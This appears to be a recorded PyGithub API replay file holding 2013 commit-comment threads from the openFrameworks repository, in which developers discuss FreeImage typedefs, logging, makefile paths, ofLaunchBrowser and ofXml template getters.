\r\n\r\nanyway I think this approach is cleaner as it doesn't change the functions names at all. \r\nand we know it works at least as we've been doing it this way for loads of releases. :) \r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/2774179","html_url":"https://github.com/openframeworks/openFrameworks/commit/3a76bf10bc8d19a6a6a7d061c13cda77f4fb6421#commitcomment-2774179","id":2774179,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"3a76bf10bc8d19a6a6a7d061c13cda77f4fb6421","created_at":"2013-03-10T14:22:02Z","updated_at":"2013-03-10T14:24:10Z","body":"> the fix didn't seem to work for vs2010 ( maybe cb too )\r\n\r\ndid @danthemellowman ever nail his problems down to this PR? did your revert fix his problems?\r\n\r\n> but I *believe* I had issues with the the others ( *maybe* on windows ) *at some point*. \r\n\r\nWell, that sounds like some baggage (in the shape of downstream patches) we have to maintain which is potentially unnecessarily dragged along, but I have of course no way to falsify that. \r\nalso, not only the submitter of our PR, but also the submitter of the bug against freeimage only had issues with BOOL, that's why I asked for clarification, to confirm if multiple types are affected.\r\n\r\n> it doesn't change the functions names\r\n\r\nthe function *names* were not changed with the PR's approach, either - only the signatures were, and not even those I think because of the typedefs (but I have not verified that).\r\n\r\ncleaner - I still think this way could leak wrong preprocessor defines into code outside freeimage, which doesn't look cleaner to me, but I made that point in the PR discussion already. ;-)\r\n\r\nanyway, let's leave it like it is and hope no other problems will crop up..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3007948","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-3007948","id":3007948,"user":{"login":"elliotwoods","id":328294,"avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"bea30676dca310e7f38269f245214944","url":"https://api.github.com/users/elliotwoods","html_url":"https://github.com/elliotwoods","followers_url":"https://api.github.com/users/elliotwoods/followers","following_url":"https://api.github.com/users/elliotwoods/following{/other_user}","gists_url":"https://api.github.com/users/elliotwoods/gists{/gist_id}","starred_url":"https://api.github.com/users/elliotwoods/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/elliotwoods/subscriptions","organizations_url":"https://api.github.com/users/elliotwoods/orgs","repos_url":"https://api.github.com/users/elliotwoods/repos","events_url":"https://api.github.com/users/elliotwoods/events{/privacy}","received_events_url":"https://api.github.com/users/elliotwoods/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-04-14T12:58:57Z","updated_at":"2013-04-14T12:58:57Z","body":"Looks great!\r\nlove `OF_TTF_MONO`, etc"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3007979","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-3007979","id":3007979,"user":{"login":"LeoColomb","id":846943,"avatar_url":"https://secure.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-04-14T13:21:49Z","updated_at":"2013-04-14T13:23:19Z","body":"Yes, it's amazing!\r\nBut I have a question: at the line [251 in ofTrueTypeFont.cpp](https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#L0R251) we have `ofLogError() << \"init windows\";`.\r\nSo is that normal the initialization for Windows is said/printed as an error?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3008039","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-3008039","id":3008039,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-04-14T14:06:04Z","updated_at":"2013-04-14T14:06:04Z","body":"@LeoColomb: look a couple comments above yours ;-)"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3008044","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-3008044","id":3008044,"user":{"login":"LeoColomb","id":846943,"avatar_url":"https://secure.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-04-14T14:12:33Z","updated_at":"2013-04-14T14:12:33Z","body":"lol, ok, sorry for laziness (is that the good word?). And thanks :-)"}] https GET api.github.com None /repositories/345337/comments?per_page=100&page=4 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4873'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-RateLimit-Limit, X-RateLimit-Remaining, X-OAuth-Scopes, X-Accepted-OAuth-Scopes'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, Accept-Encoding'), ('content-length', '41072'), ('server', 'GitHub.com'), ('last-modified', 'Wed, 19 Jun 2013 09:59:24 GMT'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="first", ; rel="prev"'), ('etag', '"0f8eacc05056152f14ecb311a50a7081"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Wed, 19 Jun 2013 10:31:36 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3008052","html_url":"https://github.com/openframeworks/openFrameworks/commit/f85ba9b28faeb75ddb649bd45758166d707c6c56#commitcomment-3008052","id":3008052,"user":{"login":"LeoColomb","id":846943,"avatar_url":"https://secure.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"f85ba9b28faeb75ddb649bd45758166d707c6c56","created_at":"2013-04-14T14:19:35Z","updated_at":"2013-04-14T14:19:35Z","body":"So I remove it in 45cea8a ."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3093644","html_url":"https://github.com/openframeworks/openFrameworks/commit/09d269e069dc8d9240a868e8247f416ce4607bbc#commitcomment-3093644","id":3093644,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"09d269e069dc8d9240a868e8247f416ce4607bbc","created_at":"2013-04-26T09:34:28Z","updated_at":"2013-04-26T09:34:28Z","body":"@arturoc what problem does this fix? I'm asking because there is a rising amount of thread about CB problems on the forum, I wonder if some of those would be fixed with this. \r\nAlso, `execution_dir` has a user-specific path (`/home/arturo/...`), is that correct?"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3093671","html_url":"https://github.com/openframeworks/openFrameworks/commit/09d269e069dc8d9240a868e8247f416ce4607bbc#commitcomment-3093671","id":3093671,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"09d269e069dc8d9240a868e8247f416ce4607bbc","created_at":"2013-04-26T09:40:08Z","updated_at":"2013-04-26T09:40:08Z","body":"no it'2 not correct, thanks. this fixes the new location of makefiles where the cbp and the makefile are not in the same directory anymore"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3216263","html_url":"https://github.com/openframeworks/openFrameworks/commit/5564ad9b3f7efa00c8939409f2b3653d82e9e34e#commitcomment-3216263","id":3216263,"user":{"login":"LeoColomb","id":846943,"avatar_url":"https://secure.gravatar.com/avatar/d38889330c0d923ab07c3566f0c02c14?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"d38889330c0d923ab07c3566f0c02c14","url":"https://api.github.com/users/LeoColomb","html_url":"https://github.com/LeoColomb","followers_url":"https://api.github.com/users/LeoColomb/followers","following_url":"https://api.github.com/users/LeoColomb/following{/other_user}","gists_url":"https://api.github.com/users/LeoColomb/gists{/gist_id}","starred_url":"https://api.github.com/users/LeoColomb/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/LeoColomb/subscriptions","organizations_url":"https://api.github.com/users/LeoColomb/orgs","repos_url":"https://api.github.com/users/LeoColomb/repos","events_url":"https://api.github.com/users/LeoColomb/events{/privacy}","received_events_url":"https://api.github.com/users/LeoColomb/received_events","type":"User"},"position":9,"line":10,"path":"scripts/dev/create_package.sh","commit_id":"5564ad9b3f7efa00c8939409f2b3653d82e9e34e","created_at":"2013-05-15T10:30:18Z","updated_at":"2013-05-15T10:30:18Z","body":"I'm not sure, but is it not supposed to compile develop branch from `openframeworks/openFrameworks`? "},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3431119","html_url":"https://github.com/openframeworks/openFrameworks/commit/39ca3785538ed4a027ea3ac7db23d92dbed4231c#commitcomment-3431119","id":3431119,"user":{"login":"diasbruno","id":362368,"avatar_url":"https://secure.gravatar.com/avatar/2d1142788375ac52dde09815838a0710?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2d1142788375ac52dde09815838a0710","url":"https://api.github.com/users/diasbruno","html_url":"https://github.com/diasbruno","followers_url":"https://api.github.com/users/diasbruno/followers","following_url":"https://api.github.com/users/diasbruno/following{/other_user}","gists_url":"https://api.github.com/users/diasbruno/gists{/gist_id}","starred_url":"https://api.github.com/users/diasbruno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/diasbruno/subscriptions","organizations_url":"https://api.github.com/users/diasbruno/orgs","repos_url":"https://api.github.com/users/diasbruno/repos","events_url":"https://api.github.com/users/diasbruno/events{/privacy}","received_events_url":"https://api.github.com/users/diasbruno/received_events","type":"User"},"position":5,"line":41,"path":"libs/openFrameworks/utils/ofUtils.h","commit_id":"39ca3785538ed4a027ea3ac7db23d92dbed4231c","created_at":"2013-06-15T10:55:42Z","updated_at":"2013-06-15T10:55:42Z","body":"hey @bakercp, should ofLaunchBrowser return bool?\r\n\r\n```\r\nif (ofLaunchBrowser(url)) {...}\r\nelse { /* failed to launch the browser. */ }\r\n```\r\n\r\nunfortunately, i lost this patch when i clean up my oF repo. sorry..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3431260","html_url":"https://github.com/openframeworks/openFrameworks/commit/39ca3785538ed4a027ea3ac7db23d92dbed4231c#commitcomment-3431260","id":3431260,"user":{"login":"bakercp","id":300484,"avatar_url":"https://secure.gravatar.com/avatar/8f6ac7bc0f5c26b87269d442d5339206?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8f6ac7bc0f5c26b87269d442d5339206","url":"https://api.github.com/users/bakercp","html_url":"https://github.com/bakercp","followers_url":"https://api.github.com/users/bakercp/followers","following_url":"https://api.github.com/users/bakercp/following{/other_user}","gists_url":"https://api.github.com/users/bakercp/gists{/gist_id}","starred_url":"https://api.github.com/users/bakercp/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bakercp/subscriptions","organizations_url":"https://api.github.com/users/bakercp/orgs","repos_url":"https://api.github.com/users/bakercp/repos","events_url":"https://api.github.com/users/bakercp/events{/privacy}","received_events_url":"https://api.github.com/users/bakercp/received_events","type":"User"},"position":5,"line":41,"path":"libs/openFrameworks/utils/ofUtils.h","commit_id":"39ca3785538ed4a027ea3ac7db23d92dbed4231c","created_at":"2013-06-15T12:19:54Z","updated_at":"2013-06-15T12:19:54Z","body":"It seems like a good idea to me if you can figure out a good way to consistently return success across platforms. Perhaps POCO's processes wrappers could help http://pocoproject.org/slides/150-Processes.pdf."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3431267","html_url":"https://github.com/openframeworks/openFrameworks/commit/39ca3785538ed4a027ea3ac7db23d92dbed4231c#commitcomment-3431267","id":3431267,"user":{"login":"diasbruno","id":362368,"avatar_url":"https://secure.gravatar.com/avatar/2d1142788375ac52dde09815838a0710?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2d1142788375ac52dde09815838a0710","url":"https://api.github.com/users/diasbruno","html_url":"https://github.com/diasbruno","followers_url":"https://api.github.com/users/diasbruno/followers","following_url":"https://api.github.com/users/diasbruno/following{/other_user}","gists_url":"https://api.github.com/users/diasbruno/gists{/gist_id}","starred_url":"https://api.github.com/users/diasbruno/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/diasbruno/subscriptions","organizations_url":"https://api.github.com/users/diasbruno/orgs","repos_url":"https://api.github.com/users/diasbruno/repos","events_url":"https://api.github.com/users/diasbruno/events{/privacy}","received_events_url":"https://api.github.com/users/diasbruno/received_events","type":"User"},"position":5,"line":41,"path":"libs/openFrameworks/utils/ofUtils.h","commit_id":"39ca3785538ed4a027ea3ac7db23d92dbed4231c","created_at":"2013-06-15T12:26:51Z","updated_at":"2013-06-15T12:26:51Z","body":"sure. thanks for the link."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3432153","html_url":"https://github.com/openframeworks/openFrameworks/commit/0361224e24657a33eea1e10481c73f21347bd733#commitcomment-3432153","id":3432153,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":5,"line":889,"path":"libs/openFrameworks/graphics/ofGraphics.cpp","commit_id":"0361224e24657a33eea1e10481c73f21347bd733","created_at":"2013-06-15T21:10:42Z","updated_at":"2013-06-15T21:10:42Z","body":"we should check the examples, there's probably some example still using this version"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3432204","html_url":"https://github.com/openframeworks/openFrameworks/commit/6d9c4cdb031c0a3b9b53689b331164488a55b4bf#commitcomment-3432204","id":3432204,"user":{"login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","url":"https://api.github.com/users/arturoc","html_url":"https://github.com/arturoc","followers_url":"https://api.github.com/users/arturoc/followers","following_url":"https://api.github.com/users/arturoc/following{/other_user}","gists_url":"https://api.github.com/users/arturoc/gists{/gist_id}","starred_url":"https://api.github.com/users/arturoc/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/arturoc/subscriptions","organizations_url":"https://api.github.com/users/arturoc/orgs","repos_url":"https://api.github.com/users/arturoc/repos","events_url":"https://api.github.com/users/arturoc/events{/privacy}","received_events_url":"https://api.github.com/users/arturoc/received_events","type":"User"},"position":23,"line":672,"path":"libs/openFrameworks/gl/ofTexture.cpp","commit_id":"6d9c4cdb031c0a3b9b53689b331164488a55b4bf","created_at":"2013-06-15T21:43:42Z","updated_at":"2013-06-15T21:43:42Z","body":"this will be a problem with openGL ES and textures that are non power of 2 since tex_w/h is different than width/height always so it'll reallocate every frame\r\n\r\nalso you can upload data to a texture that is bigger to what you are uploading\r\n\r\nperhaps w(path)\r\n\r\nwe could add a default value like we had in ofxXmlSettings\r\n\r\n getValue(path,default)\r\n\r\nor even specialize the function for the most common types:\r\n\r\n string getStringValue(string path)\r\n int getIntValue(string path)\r\n ....\r\n\r\nwhich internally call the templated version, i think this last one is the best, it's what we are using in ofParameter already and makes it less ambiguous than a default parameter for things like float..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3436737","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3436737","id":3436737,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T10:14:10Z","updated_at":"2013-06-17T10:23:14Z","body":"yeah... default and/or specialized functions.\r\n\r\nbecause right now [this](https://github.com/openframeworks/openFrameworks/blob/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3/libs/openFrameworks/types/ofXml.h#L206) makes it so that the only valid return type for getValue is string... : ) \r\n\r\nI can take a stab at this after work today.\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3436861","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3436861","id":3436861,"user":{"login":"thiagohersan","id":850815,"avatar_url":"https://secure.gravatar.com/avatar/b3d17564d4e5a5b5925aab9c8af761cf?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"b3d17564d4e5a5b5925aab9c8af761cf","url":"https://api.github.com/users/thiagohersan","html_url":"https://github.com/thiagohersan","followers_url":"https://api.github.com/users/thiagohersan/followers","following_url":"https://api.github.com/users/thiagohersan/following{/other_user}","gists_url":"https://api.github.com/users/thiagohersan/gists{/gist_id}","starred_url":"https://api.github.com/users/thiagohersan/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thiagohersan/subscriptions","organizations_url":"https://api.github.com/users/thiagohersan/orgs","repos_url":"https://api.github.com/users/thiagohersan/repos","events_url":"https://api.github.com/users/thiagohersan/events{/privacy}","received_events_url":"https://api.github.com/users/thiagohersan/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T10:37:31Z","updated_at":"2013-06-17T10:37:31Z","body":"one more thing: addValue( ) is declared void, but it tries to return true/false in a couple of places:\r\n[L152](https://github.com/openframeworks/openFrameworks/blob/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3/libs/openFrameworks/types/ofXml.h#L152)\r\n[L161](https://github.com/openframeworks/openFrameworks/blob/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3/libs/openFrameworks/types/ofXml.h#L161)\r\n..."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3437167","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3437167","id":3437167,"user":{"login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","url":"https://api.github.com/users/bilderbuchi","html_url":"https://github.com/bilderbuchi","followers_url":"https://api.github.com/users/bilderbuchi/followers","following_url":"https://api.github.com/users/bilderbuchi/following{/other_user}","gists_url":"https://api.github.com/users/bilderbuchi/gists{/gist_id}","starred_url":"https://api.github.com/users/bilderbuchi/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/bilderbuchi/subscriptions","organizations_url":"https://api.github.com/users/bilderbuchi/orgs","repos_url":"https://api.github.com/users/bilderbuchi/repos","events_url":"https://api.github.com/users/bilderbuchi/events{/privacy}","received_events_url":"https://api.github.com/users/bilderbuchi/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T11:21:58Z","updated_at":"2013-06-17T11:21:58Z","body":"interestingly, my compilation (gcc/Eclipse) doesn't even pick that up... there's a load of other warnings, though."},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3438912","html_url":"https://github.com/openframeworks/openFrameworks/commit/381fd1e7a5772b55f1991a8e3508c549f0d4d3d3#commitcomment-3438912","id":3438912,"user":{"login":"joshuajnoble","id":237423,"avatar_url":"https://secure.gravatar.com/avatar/10960ba0f305803a1cdc7cd6188d643b?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"10960ba0f305803a1cdc7cd6188d643b","url":"https://api.github.com/users/joshuajnoble","html_url":"https://github.com/joshuajnoble","followers_url":"https://api.github.com/users/joshuajnoble/followers","following_url":"https://api.github.com/users/joshuajnoble/following{/other_user}","gists_url":"https://api.github.com/users/joshuajnoble/gists{/gist_id}","starred_url":"https://api.github.com/users/joshuajnoble/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/joshuajnoble/subscriptions","organizations_url":"https://api.github.com/users/joshuajnoble/orgs","repos_url":"https://api.github.com/users/joshuajnoble/repos","events_url":"https://api.github.com/users/joshuajnoble/events{/privacy}","received_events_url":"https://api.github.com/users/joshuajnoble/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"381fd1e7a5772b55f1991a8e3508c549f0d4d3d3","created_at":"2013-06-17T15:11:16Z","updated_at":"2013-06-17T15:13:48Z","body":"Hmm, this is why I kind of didn't want to do those templates in the first place :/ \r\n\r\nMy thought is \"XML is strings, it should only work with strings because that's all it is inside\". I also purposely didn't do getAsString, getAsInt, getAsFloat, getAsLong because it should be just \"get the value\" I think to keep it simple and clean: get the value, which is a string, and do something with it. A template seems like a nice compromise, but if supporting C++11 and 98 means there's no way to do it without `getValue()` then I guess it doesn't fit with the rest of core very well.\r\n\r\n"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/comments/3453546","html_url":"https://github.com/openframeworks/openFrameworks/commit/17ecca4d264194652ade119b491c65920a239fc6#commitcomment-3453546","id":3453546,"user":{"login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-user-420.png","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","url":"https://api.github.com/users/julapy","html_url":"https://github.com/julapy","followers_url":"https://api.github.com/users/julapy/followers","following_url":"https://api.github.com/users/julapy/following{/other_user}","gists_url":"https://api.github.com/users/julapy/gists{/gist_id}","starred_url":"https://api.github.com/users/julapy/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/julapy/subscriptions","organizations_url":"https://api.github.com/users/julapy/orgs","repos_url":"https://api.github.com/users/julapy/repos","events_url":"https://api.github.com/users/julapy/events{/privacy}","received_events_url":"https://api.github.com/users/julapy/received_events","type":"User"},"position":null,"line":null,"path":null,"commit_id":"17ecca4d264194652ade119b491c65920a239fc6","created